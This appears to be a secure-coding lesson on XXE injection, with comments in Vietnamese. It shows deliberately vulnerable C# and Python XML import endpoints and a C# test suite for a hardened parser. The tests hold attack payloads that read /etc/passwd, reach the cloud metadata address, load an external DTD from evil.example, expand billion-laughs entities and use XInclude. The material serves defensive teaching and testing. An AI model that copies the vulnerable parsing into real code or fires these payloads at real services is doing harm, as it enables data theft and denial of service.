XXE injection

[HttpPost("/api/contacts/import")]public async Task<IActionResult> Import(CancellationToken ct){    // ❌ Không có chuỗi nào bị nối, không có input nào bị "tin". Chỉ có một mặc định    //    của thư viện, và trên .NET Framework mặc định đó GIẢI QUYẾT external entity.    //    Đây là lý do XXE sống dai: code trông hoàn toàn bình thường.    var doc = new XmlDocument();    doc.Load(Request.Body);     var names = doc.SelectNodes("//contact/name")!;    var imported = 0;     foreach (XmlNode n in names)    {        // Lúc này n.InnerText KHÔNG còn là "&leak;" — parser đã thay nó bằng nội dung        // của /app/appsettings.Production.json trước khi dòng này chạy.        if (n.InnerText.Length is 0 or > 80)            // ❌ Kênh rò. Code không in file ra; nó echo lại một giá trị mà nó tưởng            //    là tên người dùng. Response là 400, và dữ liệu vẫn đi ra.            return BadRequest(new { error = $"Invalid contact name: {n.InnerText}" });         await _contacts.AddAsync(n.InnerText, ct);        imported++;    }     return Ok(new { imported });}

from lxml import etree  @app.post("/api/contacts/import")def import_contacts():    # ❌ Mặc định của lxml giải quyết entity. Khác với xml.etree của thư viện chuẩn    #    (chặn <!ENTITY> từ Python 3.x), nên "Python an toàn rồi" là câu chỉ đúng    #    cho một trong hai parser mà cùng một project thường dùng cả hai.    doc = etree.fromstring(request.data)     for name in doc.xpath("//contact/name/text()"):        if len(name) > 80:            # Và cùng kênh rò như bản C#: echo lại giá trị đã bị thay.            return {"error": f"Invalid contact name: {name}"}, 400        add_contact(name)     return {"ok": True}

public class SafeXmlTests{    private static Stream Xml(string s) => new MemoryStream(Encoding.UTF8.GetBytes(s));     /// <summary>Biến thể 1 — đọc file. Payload cơ bản, và test này pass với gần như mọi bản vá.</summary>    [Fact]    public void Rejects_external_entity_file_read()    {        var payload = """            <?xml version="1.0"?>            <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>            <r>&x;</r>            """;         var ex = Assert.Throws<XmlException>(() => SafeXml.LoadDocument(Xml(payload)));         // Ném vì DTD bị CẤM, không vì file đọc không được — thông điệp khác nhau và        // sự khác nhau đó quan trọng: nếu nó ném ở bước mở file thì DTD đã được parse.        Assert.Contains("DTD", ex.Message, StringComparison.OrdinalIgnoreCase);    }     /// <summary>Biến thể 2 — SSRF. Cùng cơ chế, đích khác.</summary>    [Fact]    public void Rejects_external_entity_http()    {        var payload = """            <?xml version="1.0"?>            <!DOCTYPE r [<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/">]>            <r>&x;</r>            """;         Assert.Throws<XmlException>(() => SafeXml.LoadDocument(Xml(payload)));    }     /// <summary>Biến thể 3 — blind/OOB qua DTD ngoài, không cần giá trị hiện lại trong response.</summary>    [Fact]    public void Rejects_external_dtd()    {        var payload = """            <?xml version="1.0"?>            <!DOCTYPE r SYSTEM "http://evil.example/x.dtd">            <r>test</r>            """;         Assert.Throws<XmlException>(() => SafeXml.LoadDocument(Xml(payload)));    }     /// <summary>    /// Biến thể 4 — BILLION LAUGHS. Đây là test quan trọng nhất của bộ này.    ///    /// Ba test trên PASS với một bản vá chỉ đặt XmlResolver = null, vì cả ba dùng    /// entity NGOÀI. Test này dùng entity NỘI BỘ, nên nó là test duy nhất phân biệt    /// được DtdProcessing.Prohibit với "chặn entity ngoài". Bỏ dòng Prohibit ra thì    /// đúng test này đỏ — và process ăn hết RAM trước khi nó đỏ.    /// </summary>    [Fact]    public void Rejects_billion_laughs()    {        var payload = """            <?xml version="1.0"?>            <!DOCTYPE lolz [              <!ENTITY lol "lol">              <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">              <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">              <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">              <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">            ]>            <lolz>&lol4;</lolz>            """;         Assert.Throws<XmlException>(() => SafeXml.LoadDocument(Xml(payload)));    }     /// <summary>XInclude — đường vòng không cần một khai báo DTD nào.</summary>    [Fact]    public void Does_not_process_xinclude()    {        var payload = """            <?xml version="1.0"?>            <r xmlns:xi="http://www.w3.org/2001/XInclude">              <xi:include href="file:///etc/passwd" parse="text"/>            </r>            """;         var doc = SafeXml.LoadDocument(Xml(payload));         // Không throw — XInclude là XML hợp lệ. Điều phải khẳng định là nó KHÔNG        // được xử lý: thẻ còn nguyên, nội dung file không xuất hiện.        Assert.DoesNotContain("root:x:0:0", doc.ToString());        Assert.Contains("include", doc.ToString());    }     /// <summary>Cặp đôi: XML sạch vẫn parse được, nếu không bản vá là "chặn tất".</summary>    [Fact]    public void Accepts_clean_xml()    {        var doc = SafeXml.LoadDocument(Xml("<contacts><contact><name>Alice</name></contact></contacts>"));         Assert.Equal("Alice", doc.Descendants("name").Single().Value);    }}